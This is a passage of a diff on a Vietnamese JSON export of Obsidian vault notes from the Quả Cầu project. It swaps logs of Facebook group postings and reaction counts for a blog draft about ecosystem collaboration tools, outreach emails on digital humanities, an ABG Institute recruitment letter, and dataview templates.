[[09-11]]\n13:36: [[Phân loại chi tiêu (ngắn)]] https://www.facebook.com/groups/1953782904907048/posts/3601593850125937/", + "Toàn bộ nội dung": "| Giải pháp gợi ý | Hành vi cần đạt được | Giả thiết | Công việc |\n| ------------------------------ | -------------------- | --------- | --------- |\n| Tìm người quan tâm đến công cụ | | | |\n| Chia sẻ bài chim sáo | | | |\n| | | | |", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-02T14:41:00.000Z", - "id": "Pj" + "Ngày cập nhật": "2023-12-27T04:03:00.000Z", + "id": "Px" }, { - "Tiêu đề": "BPO", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Nghề nghiệp/BPO", + "Tiêu đề": "Bài viết về vấn đề về hệ sinh thái", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Bài viết về vấn đề về hệ sinh thái", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Cho em hỏi có công việc nào về nhập liệu excel ko?\n[[14-02]] 00:20 Cộng tác viên nhập liệu BPO (nhóm mới) bị từ chối ngay ", + "Toàn bộ nội dung": "%%\n#file/thành-phẩm/bài-viết\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n\nGiả thuyết:\n\n:Trong 3 năm mình tham gia vào các mạng lưới, cộng đồng phi lợi nhuận, mình cảm thấy mặc dù đã có rất rất nhiều tổ chức muốn thúc đẩy một hệ sinh thái giữa các dự án, nhưng lại chưa cảm thấy sự hiệu quả đạt đến mức tối ưu, mặc dù mình đánh giá rất cao nỗ lực và sự chuyên nghiệp của họ. Mình phải thẳng thắn nói rằng mình thất vọng rất nhiều sau các sự kiện kết nối. Mọi người có biết đến nhau, nhưng sau buổi hôm đó cũng chỉ dừng lại ở đó, không đi xa hơn được. Mình nghĩ rằng nguyên nhân quan trọng nhất là các bên **quá nhiều việc**. Mọi người không thể đi đủ sâu để tìm hiểu về nhau. Vì để có thể đi sâu thì phải tốn rất rất nhiều thời gian, mà thường tổ chức phải phát triển đủ lớn để có một người chuyên về việc kết nối, chứ công việc thì rất rất nhiều. Nếu như các tổ chức kết nối cộng đồng chủ động phân loại và tổ chức các buổi gặp gỡ cho các dự án quy mô nhỏ tương tự nhau thì rất tốt, nhưng mình không thấy được điều đó.\n\n[[Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0]]. Bạn không cần phải hỏi mà vẫn biết nhu cầu của những thành viên xung quanh, và họ không cần phải hỏi cũng biết bạn đang cần gì. Mặc dù chúng ta luôn khuyến khích đặt câu hỏi, nhưng [[Một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì]]. Và các công cụ quản lý dự án hiện nay không có chức năng cung cấp thông tin của nhóm cho những nhóm khác. Chỉ khi nào nhu cầu của các bên liên quan hiện ra ngay trong kho dữ liệu của nhóm mà không cần phải hỏi họ hay thậm chí là nhập liệu, thì lúc đó chúng ta mới có thể bắt đầu nói về một hệ sinh thái mà những thành viên mới – vốn rất thiếu nhân lực – vẫn có thể hưởng lợi.\n\nTrong những phần mềm quản lý công việc trên thị trường hiện nay, mình thấy có duy nhất Obsidian là có thể đáp ứng nhu cầu đó. Cho nên trong buổi thảo luận này mình sẽ nói về cách bọn mình sử dụng nó ra sao. Cùng với đó là mô hình tổ chức mà loại công nghệ này đem lại: \n\nXem thêm: Một đám mây chim sáo: https://quacau.space/f025\n\n# Giả thuyết\n- [[Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm]]\n- [[Việc phải nói chuyện nhu cầu của nhau là mệt mỏi]]\n- [[Việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn]]\n- [[Người dùng sử dụng dễ dàng Obsidian]]\n- [[Obsidian hữu ích để quản lý công việc]]\n- [[Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-13T17:23:00.000Z", - "id": "Pk" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-12-26T11:11:00.000Z", + "id": "Py" }, { - "Tiêu đề": "Marketing", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Nghề nghiệp/Marketing", + "Tiêu đề": "Hanoi Grapevine", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Email/Hanoi Grapevine", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Bàn làm việc Google Calendar]]\n## Pending\n[[31-12]] 15:05 Cộng Đồng Agency Truyền Thông - Marketing Việt Nam https://www.facebook.com/groups/161907589211396/pending_posts\n\n# [[Phân loại câu nhập]]\n## UAN Marketing \n[[04-02]] 23:34 https://www.facebook.com/groups/uanvn/posts/7332793856784967\n[[05-02]] 08:50 bị xoá trên Facebook vì là giới thiệu sản phẩm\n14:49 https://t.me/uan_mkt/864/2621\n\n# [[Các buổi đáp ứng nhu cầu học lập trình]]\n## Declined\n[[08-02]] Vietnam Market Report & AI Marketing https://www.facebook.com/groups/520739508884015/my_pending_content\n\n# [[Câu hỏi khảo sát#Mức độ thường xuyên phải phân loại, gắn nhãn thông tin (chuyển từ dữ liệu phi cấu trúc sang dữ liệu có cấu trúc) của bạn khi làm tiếp thị là như thế nào?]]\n[[09-02]] 17:05 Vietnam Market Report & AI Marketing https://www.facebook.com/groups/vietnam.market.report/posts/1324895795135045/\n\n# [[Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)]]\n## Pending\n## Declined\n[[20-02]] Vietnam Market Report & AI Marketing https://www.facebook.com/groups/520739508884015/my_pending_content\n[[20-02]] Cộng Đồng Agency Truyền Thông - Marketing Việt Nam https://www.facebook.com/groups/161907589211396/my_pending_content\n[[20-02]] UAN Marketing https://www.facebook.com/groups/826780827386335/my_pending_content\n\n## 0\n[[22-02]] 09:42 Cộng Đồng Marketing VN https://www.facebook.com/groups/677245282717381/posts/1884233492018548 \n\n## Thực tập sinh Digital Marketing | Cộng đồng Digital Marketer (Newbie)\n[[20-02]] 20:01 https://www.facebook.com/groups/digica/posts/7459350427449250/\n2 react, 1 comment\n\n[[Web dev, GA, Ads, SEO, MMO]] \n\n# [[Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng]]\n## Reject \n[[05-07]] 19:33 [Log in to Facebook](https://www.facebook.com/groups/826780827386335/pending_posts/8016738338390512/)\n[[06-07]] 14:58 [Page not found | Facebook](https://www.facebook.com/groups/826780827386335/pending_posts/?search=&has_selection=false&is_notif_background=false&post_id=8021023211295358)\n## UAN Telegram\n[[05-07]] 20:47 https://t.me/uan_mkt/864/2738", + "Mô tả bài đăng": "Một số ý tưởng trao đổi với Hanoi Grapevine về nhân văn số và mạng lưới không gian văn hoá", + "Toàn bộ nội dung": "Em xin chào Hanoi Grapevine, \n \nEm xin tự giới thiệu, em là Lý Minh Nhật, người sáng lập dự án Quả Cầu. Hôm 10/11 vừa rồi em có được dịp trò chuyện một chút với chị Ly về những thứ em nghĩ Hanoi Grapevine sẽ cảm thấy hứng thú. Email này là để nói rõ thêm về các ý tưởng đó.\n\n# Nhân văn số\nEm nghe hai chị nói rằng hiện Hanoi Grapevine chứa 2 TB về các sự kiện nghệ thuật ở Hà Nội từ lúc sáng lập cho tới nay. Em nghĩ rằng nó có tiềm năng lớn để làm một dự án nghiên cứu nhân văn số. Nhân văn số là những nghiên cứu kết hợp giữa ngành khoa học máy tính và các ngành nhân văn. Nếu thu hẹp lại về nghệ thuật, thì em nghĩ dự án nổi tiếng nhất chính là [Google Arts & Culture](https://artsandculture.google.com/ \"Google Arts & Culture\"). Chị có thể xem thêm bài giới thiệu của giám đốc dự án này trên TED: [Every piece of art you've ever wanted to see -- up close and searchable | Amit Sood](https://www.youtube.com/watch?v=cSpOCSVt--k \"Every piece of art you've ever wanted to see -- up close and searchable | Amit Sood - YouTube\"). \n\nEm cũng thử kiếm thêm [các dự án nhân văn số về lịch sử nghệ thuật](http://imageresources.weebly.com/digital-humanities-projects.html \"Digital humanities projects - Digital Resources Guide\"), và thấy dự án [Inventing Abstraction](https://www.moma.org/interactives/exhibitions/2012/inventingabstraction), một dự án sơ đồ hoá mối quan hệ giữa các nghệ sĩ, là có vẻ tham khảo được với loại dữ liệu mình đang có. Vì đây vừa là một dự án nghệ thuật vừa là một dự án nghiên cứu, nên em nghĩ có thể mình sẽ kiếm được nguồn tài trợ từ cả hai:\n![[Pasted image 20231111161912.png]]\n\nNếu chị có hứng thú thì chị có thể xem qua một sản phẩm nhân văn số em làm: [Đồ thị mạng lưới 100+ niềm tin](https://xn--qucu-hr5aza.cc/phan-tich-mot-mang-luoi-100-niem-tin/?utm_source=E+%C2%BB+Hanoi+Grapevine&utm_medium=email&utm_campaign=Nh%C3%A2n+v%C4%83n+s%E1%BB%91). Cái này mục đích chỉ là để thử nghiệm ý tưởng cũng như một dịp để em học thêm về nhân văn cũng như lập trình, chứ còn để đảm bảo tính học thuật thì còn nhiều việc phải làm.\n\n# Mạng lưới không gian sáng tạo\nEm có tìm thấy bài báo này: [Trương Uyên Ly: Người 'lập bản đồ' các không gian văn hóa sáng tạo](https://thethaovanhoa.vn/truong-uyen-ly-nguoi-lap-ban-do-cac-khong-gian-van-hoa-sang-tao-20200108143302189.htm \"Trương Uyên Ly: Người 'lập bản đồ' các không gian văn hóa sáng tạo\"). Em nghĩ một trong những yếu tố quan trọng để tối ưu hoá việc này là công cụ mà mình sử dụng. Các công cụ quản lý dự án hiện nay không có chức năng cung cấp thông tin của nhóm cho những nhóm khác. Chỉ khi nào nhu cầu của các bên liên quan hiện ra ngay trong kho dữ liệu của nhóm mà không cần phải hỏi họ hay thậm chí là nhập liệu, thì lúc đó chúng ta mới có thể bắt đầu nói về một hệ sinh thái mà những thành viên mới – vốn rất thiếu nhân lực – vẫn có thể hưởng lợi. Chị có thể đọc thêm bài viết phân tích của em: [Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền](https://obsidian.quảcầu.cc/%F0%9F%93%90%20d%E1%BB%B1%20%C3%A1n/c%20obsidian,%20qu%E1%BA%A3n%20l%C3%BD%20d%E1%BB%B1%20%C3%A1n%20v%C3%A0%20c%C3%B4ng%20c%E1%BB%A5%20ngh%C4%A9/9%20blog/t%E1%BB%AB%20vi%E1%BB%87c%20l%C6%B0u%20d%E1%BB%AF%20li%E1%BB%87u%20t%E1%BA%A1i%20ch%E1%BB%97%20%C4%91%E1%BA%BFn%20s%E1%BB%B1%20h%E1%BB%A3p%20t%C3%A1c%20%C4%91a%20ph%C6%B0%C6%A1ng%20v%C3%A0%20li%C3%AAn%20ng%C3%A0nh%20v%C3%A0%20n%E1%BB%81n%20kinh%20t%E1%BA%BF%20kh%C3%B4ng%20d%C3%B9ng%20ti%E1%BB%81n/?utm_source=E+%C2%BB+Hanoi+Grapevine&utm_medium=email&utm_campaign=C%C3%B4ng+c%E1%BB%A5+cho+h%E1%BB%87+sinh+th%C3%A1i)\n\nĐây là những ý em nghĩ Hanoi Grapevine sẽ hứng thú. Em rất mong nghe được những suy nghĩ của các chị. Nếu các chị hứng thú trả lời nhưng ngại viết email thì mình có thể gọi điện cho nhanh.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-06T07:59:00.000Z", - "id": "Pl" + "Ngày cập nhật": "2023-12-03T13:13:00.000Z", + "id": "Pz" }, { - "Tiêu đề": "Sự kiện, HR", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Nghề nghiệp/Sự kiện, HR", + "Tiêu đề": "Lê Nguyễn Tường Vân", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Email/Lê Nguyễn Tường Vân", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Bàn làm việc Google Calendar]]\n[[31-12]] 15:14 Event Management - Cộng đồng tổ chức sự kiện https://www.facebook.com/groups/EventManagement.vn/my_pending_content\n[[29-12]] HrShare https://www.facebook.com/groups/hrlinkvn/posts/6752464311549538\n[[08-02]] bị xoá\n\n\n\n# [[Câu hỏi khảo sát#Khi nào thì công việc nhân sự cần tới việc nhập liệu và gắn nhãn dữ liệu?]]\n## Cộng Đồng Chủ Quán - Khởi Nghiệp Và Kinh Doanh FNB\n[[17-02]] 19:13 https://www.facebook.com/groups/chuquankinhdoanhfnb/posts/1732944450524967/\nQuán nhỏ thì họ cứ giấy viết sổ sách thôi, họ làm ngày nào xào ngày ấy nên chả quan tâm report hay nhãn dữ liệu là cái gì đâu.\n\nQuán lớn hoặc chủ hoặc người quản lý có tư duy vận hành tự động hay số hoá dữ liệu thì họ sẽ tiếp cận vs các đơn vị đang có sẵn giải pháp này trên thị trường rồi.\n\nBạn đặt ra ngữ cảnh là đi chợ, và đây là trường hợp tệ nhất, nó chỉ xảy ra đối với quán nhỏ mình nói đầu tiên kia thôi.\n\nĐối với những quán có quy mô hơn thì bên cạnh việc sử dụng giải pháp vận hành công nghệ có sẵn từ các đơn vị khác thì đầu còn lại các supplier của họ cũng có sẵn việc phân loại, thống kê, structure dữ liệu đặt hàng, giao dịch cho quán luôn rồi.\n\nNói chung giải pháp của bạn không mới mẻ cũng không giải quyết vấn đề gì có thật nếu trong ngữ cảnh quán nhỏ xíu đi chợ mua hàng mỗi ngày.\n\nBạn phải để ý, riêng cái hành vi đi chợ mỗi ngày đã là sai trong việc thiết lập quy trình vận hành rồi chứ ko phải lổ hổng của quản lý dữ liệu. Một quán nếu chọn phương án nhập đầu vào thông qua cách đó thì dù có đưa công nghệ vào để xử lý dữ liệu như bạn đang nêu ra thì cũng chẳng triệt để được, nhân viên hoặc người mua vẫn có thể bị rơi vào trường hợp gian lận hoặc thiếu sót dữ liệu thống kê thôi.\n\nGóp ý đến bạn nhé !\n \nThân !👻\n\n## HrShare \n[[16-02]] 13:38 https://www.facebook.com/groups/hrlinkvn/posts/6933586863437281\n14:39 1 react, 1 share\n[[17-02]] 19:13 3 react, 1 comment, 1 share", + "Toàn bộ nội dung": "Xin chào bạn Lê Nguyễn Tường Vân,\n\nMình tên là Lý Minh Nhật, là người sáng lập ra dự án Quả Cầu, và cũng là một người tham gia buổi giao lưu của Viện ABG và Fulbright vào ngày 9/8/2024 vừa qua. Buổi chia sẻ chỉ có 10 phút nói về nhân văn số, và rất tiếc là mình phải về sớm, nên mình chưa hiểu rõ định hướng phát triển các dự án nhân văn số của trường, ngoài việc thấy rằng chúng cần liên quan đến căn tính Việt Nam.\n\nĐây là những ý tưởng Quả Cầu đang triển khai, mà mình nghĩ rằng là phù hợp để được gọi là nhân văn số:\n- Giáo dục số: [[Xây dựng hệ thống tri thức cộng đồng|Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?]]\n- Xã hội học số: Đồ thị mạng lưới 100+ niềm tin\n- Văn hoá số: Các cuộc đối thoại đang được chia sẻ như thế nào? \n\nBạn cũng có thể đọc thêm các ghi chú của bọn mình về [[Nhân văn số|Các dự án, công cụ, tài nguyên cho nhân văn số]]. Ngoài ra bọn mình cũng tổ chức [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]].\n\nMột quan sát của mình: [[Ngoài việc sử dụng mô hình chủ đề và tạo cơ sở dữ liệu, các dự án nhân văn số dường như không sử dụng các lĩnh vực khác của công nghệ thông tin]]. Điều này dẫn đến câu hỏi là liệu [[❓Nhân văn chỉ quan tâm đến việc lưu trữ, hiểu dữ liệu và tạo ra câu chuyện hay]] hay không, hay nó còn có những mục tiêu khác? Ví dụ, việc thúc đẩy sự đối thoại có được xem là một mục tiêu của ngành này, và như vậy, việc xây dựng một hệ thống để thúc đẩy sự đối thoại có được xem là một dự án nhân văn số?\n\nKhông biết mình có thể hẹn bạn một buổi trò chuyện để thảo luận thêm được không? Mình rất mong nhận được sự phản hồi từ bạn.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-20T09:31:00.000Z", - "id": "Pm" + "Ngày tạo": "2024-08-10T08:07:00.000Z", + "Ngày cập nhật": "2024-08-10T17:45:00.000Z", + "id": "P-" }, { - "Tiêu đề": "Web dev, GA, Ads, SEO, MMO", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Nghề nghiệp/Web dev, GA, Ads, SEO, MMO", + "Tiêu đề": "Nguyễn Cảnh Bình", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Email/Nguyễn Cảnh Bình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)]]\n## Pending\n[[21-02]] Cộng đồng Google Ads Việt Nam (Nhóm Hỗ Trợ Goolge Ads, GA4, Tag Manager) https://www.facebook.com/groups/547734798983272/my_pending_content/\n[[26-02]] Tools MMO https://www.facebook.com/groups/1857771804400681/my_pending_content\n\n## Decline\n[[21-02]] Cộng đồng Google Adwords Việt Nam https://www.facebook.com/groups/1839777139640099/my_pending_content/\n[[26-02]] CHỢ NGHIỆN SEO https://www.facebook.com/groups/681244682686340/my_pending_content\n\n## 0 like\n[[21-02]] 22:06 Hội Lập Trình - Thiết Kế Web - SEO - Marketing Chuyên Nghiệp https://www.facebook.com/groups/vutruseo/posts/1991896184530936/\nHọc Lập Trình Web (Freetuts.net) https://www.facebook.com/groups/freetutsdotnet/posts/2116471305370282/\n23:01 Cộng đồng SEO Mũ Trắng Việt Nam https://www.facebook.com/groups/seomutrangvietnam/posts/386494940662711/\n\n## 1 like\n22:38 Cộng Đồng Google Analytics 4 (GA4) - Việt Nam https://www.facebook.com/groups/578268814077720/posts/892067449364520/\n\n# [[Các buổi đáp ứng nhu cầu học lập trình]]\n## Pending\n[[26-02]] Học lập trình Web Frontend & Backend https://www.facebook.com/groups/1283666168335006/my_pending_content\n## 0 0 0\n[[26-02]] 19:46 CHỢ NGHIỆN SEO https://www.facebook.com/groups/chonghienseo/posts/1587292382081561/\n## 1 like\n[[26-02]] 17:46 Cộng đồng SEO Mũ Trắng Việt Nam https://www.facebook.com/groups/seomutrangvietnam/posts/389043517074520/\n[[21-03]] bị xoá\n\n# [[Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng]]", + "Toàn bộ nội dung": "Khái niệm:: \n{Một không gian học tập của tương lai}\n\nGửi các em cựu học viên ABG,\n\nTrí tuệ nhân tạo đang thay đổi mạnh mẽ những gì con người có thể làm được, tạo ra cả cơ hội và thách thức lớn cho chúng ta, những nhà lãnh đạo tương lai. Không chỉ vậy, những thay đổi/biến động của thời cuộc (thế giới và trong nước) cũng đặt ra những không gian phát triển mới cho tất cả chúng ta.\n\nCác chương trình, tổ chức khóa học của Viện cơ bản vẫn theo truyền thống, nhưng dù tốt cũng không thể đáp ứng nhu cầu ngày càng cao của các học viên và thời đại, Viện Lãnh đạo ABG cũng không đứng ngoài những biến động lớn lao này. Vì thế, anh và Viện ABG đang suy nghĩ, tìm tòi và muốn đổi mới mạnh mẽ chương trình và phương pháp đào tạo.\n\nVì thế, anh muốn thành lập một nhóm nhỏ gọi là \"Turks Trẻ\" gồm 7-8 bạn, nói chung không quá 10 người có tư duy hiện đại, có khả năng, và thời gian để hỗ trợ Viện trong việc nghiên cứu, thử nghiệm và đưa ra những sáng kiến đột phá trong đào tạo. Anh nghĩ thời gian hoạt động của nhóm không quá một tháng, nhưng cũng có thể kéo dài theo hình thức nào đó nếu cần.\n\nAnh nghĩ mấy nguyên tắc làm nền tảng cho Viện ABG và cho các chtr đào tạo trong tương lai là:\n\n1) Công nghệ/AI; tối đa hoá ứng dụng công nghệ và AI vào mọi hoạt động của Viện..\n\n2) Quốc tế/Toàn cầu hóa, Viện/chtr đào tạo phải kết nối mạnh mẽ hơn nữa với thế giới;\n\n3) Chtr phải thiết kế theo hướng cá nhân hoá (mô hình của Matsushita..) và\n\n4) Tập trung nâng cao năng lực thực thi/triển khai qua hoạt động networking và mentoring..\n\n5) Giảm lý thuyết nhiều hơn nữa mà chuyển sang cá nhân hóa, project base (nhờ công nghệ?)\n\nTrên thế giới chắc có nx mô hình mới/khác biệt nào đó (Mô hình Maátushita và West Point tuyệt vời, nhưng cần rất nhiều nguồn lực khó áp dụng ở ABG nếu triển khai theo công nghệ cũ (chạy bằng cơm) song nếu có công nghệ, có thể triển khai theo nguyên tắc này dễ dàng hơn. Viện muốn tìm một mô hình mới, thực sự mới chứ không muốn duy trì mô hình cũ hoặc chỉ vài cải cách điều chỉnh nhỏ trong việc tổ chức, vận hành vì như thế không đủ..\n\nNếu ai đó trong các em cảm thấy phù hợp và muốn tham gia một nhóm có sự đổi mới lớn lao, hãy liên hệ với anh, anh hy vọng nhóm sẽ tìm ra được điều gì đó đáng kể. Để thuận lợi cho anh, các em gửi email riêng cho anh: binhnc@yahoo.com, CV & suy nghĩ của em về một mô hình mới, cách đào tạo mới…\n\nChỉ có những cấu trúc, thiết chế, cách thức tổ chức và nội dung tiên phong và hiện đại mới có thể tạo ra những con người tiến phong, hiện đại và mạnh mẽ..\n\nCám ơn các em. \nNgày 11/8/2024\n\nNguyễn Cảnh Bình\nNguồn:: \n\n[[AI giống như công nghệ tua bin. Gắn nó với xe hơi thì không sử dụng được. Nhưng nếu có thể có thêm những công nghệ mới thì có thể thành máy bay]]\nThink tank", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-21T15:06:00.000Z", - "Ngày cập nhật": "2024-08-02T05:56:00.000Z", - "id": "Pn" + "Ngày tạo": "2024-08-11T16:19:00.000Z", + "Ngày cập nhật": "2024-08-11T16:21:00.000Z", + "id": "P_" }, { - "Tiêu đề": "Công nghệ", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Sở thích công nghệ/Công nghệ", + "Tiêu đề": "Nguyễn Hoàng Hải", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Email/Nguyễn Hoàng Hải", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Phân loại câu nhập]]\n## Tinhte\n### [[04-02]]\n23:05 https://tinhte.vn/thread/phan-loai-cau-nhap-bang-tieng-viet-tu-nhien.3761372/\n\n## Viet Tech\nbị block\n\n# [[Phân loại chi tiêu]]\n## Pending\n## Cộng đồng chia sẻ phần mềm và thủ thuật công nghệ \n[[09-02]] 17:27 https://www.facebook.com/groups/baominhtechnology/posts/3865621507042729/\n[[10-02]] 11:32 0 0 0 ", + "Toàn bộ nội dung": "Obsidian\nVật lý cho người học triết: dao động tử điều hoà, deleuze \nTính cường độ\nThông tin là gì\n\n[Đào tạo vật lí - Nguyễn Hoàng Hải - Obsidian Publish](https://publish.obsidian.md/hai/Education/Đào+tạo+vật+lí)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-20T09:31:00.000Z", - "id": "Po" + "Ngày tạo": "2024-08-03T06:14:00.000Z", + "Ngày cập nhật": "2024-08-03T09:11:00.000Z", + "id": "Q0" }, { - "Tiêu đề": "J2TEAM", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Sở thích công nghệ/J2TEAM", + "Tiêu đề": "Kế hoạch truyền thông", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Kế hoạch truyền thông", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Phân loại câu nhập]] \n[[03-02]] 16:39 chờ duyệt https://www.facebook.com/groups/364997627165697/pending_posts/?search=&has_selection=false&is_notif_background=false&post_id=2307293236269450\n[[04-02]] 15:55 42 react, 3 share\n17:39 47 react \n\n![](https://i.imgur.com/dF3dbQt.png)\n![](https://i.imgur.com/4ydncxU.png)\n![](https://i.imgur.com/rsyNKrn.png)\n[[05-02]] https://www.facebook.com/groups/j2team.community/posts/2308276892837751\n11:48 \n1k like 48 tim 4 thương thương 6 haha 111 ngạc nhiên 1 buồn\n66 comment 141 share\n\n14:17 1.2 like, 59 tim, 5 tt, 6 haha, 129 ngạc nhiên, 1 buồn. 78 comment, 159 share\n23:20 1.6k, 108 comment, 228 share\n\n[[06-02]] 13:48 1.8k, 117 comment, 266 share\n\nSo sánh với một số bài khác:\n- [J2TEAM Community | # \\*\\*Microsoft Edge Gestures\\*\\*](https://www.facebook.com/groups/j2team.community/posts/2305918139740293/?__cft__[0]=AZXcQTtwKO0nOStO1lEP3VgH2qNGqtamD7rg7tgBI-pXvZ0xd3z6bNzzQz2T7UHTNAFfkq-UvV2R1cKQz6sMI-QWw_4VmtJgnhZ0JlxapgzMXuO6Y9KSxk3n4XS3T9-drJnnCi6rZquDhna3wT2fwlxgilEyUmnaW0D9ngiTZ1FAV20zJmDwG4YzOppRGka6YMo&__tn__=%2CO%2CP-R)\n- [J2TEAM Community | Dự án của công ty / Team bài tập lớn trên trường / Project cá nhân của bạn đang viết commit message như thế nào](https://www.facebook.com/groups/j2team.community/posts/2304230613242379/?__cft__[0]=AZUP9Iks29_yQ6NEZGByjVMcrTTyI6zwvm3WeXh9AIwgLk3gW23p4lbXf1vEeGoRol40gW6z498nAg5MWsLtls9qU_Jz_1P1peBpC1aLpog_7FUage8qLts5XlXIc18VjXGNh5CSUcEU5dUrf33yTHLrwzMIORKOO_YXga6vmiwxqEKVpghjrzUAXdYGtw91_MM&__tn__=%2CO%2CP-R) 1k react, 53 comment, 380 share\n- [J2TEAM Community | # Chào mọi người | Facebook](https://www.facebook.com/groups/j2team.community/posts/2307637936234980/?__cft__[0]=AZVkHMtvmGzC5q1GSjS1N14ezebNVCgQ9jCxDdu9iU8xghoaepr5YhKwev-xgsGtBOr3aD1MJmjbyps84f2hJ1YkKU885Zw0Q31G9vhD6nWXaH1TOvkPLpOUlqbFkiBtz1Qttq2AIXqbo_HAACZXsezyr8NqafpkRW1J4_pjx0XAUAAeCEbl0eJwH1qoCqtHlJ8&__tn__=%2CO%2CP-R) 1.9k react 105 comment 363 share\n- [J2TEAM Community | Các Web Phim Đã \"Lạm Dụng\" Máy Chủ TikTok Để Giảm Chi Phí Như Thế Nào](https://www.facebook.com/groups/j2team.community/posts/2302319523433488): 11k react, 836 comment, 1.7k share\n\n[[07-02]] 22:28 2k react, 122 comment, 343 share\n[[15-02]] 10:20 2.3k react, 132 comment, 434 share", + "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\nPhục vụ cho thành quả:\n```dataview\nLIST\nFrom #file/thành-quả\nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList \nFrom \"📐 Dự án hỗ trợ người mới học Obsidian/3 Thành phẩm\" \nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-03-21T13:48:00.000Z", - "id": "Pp" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + 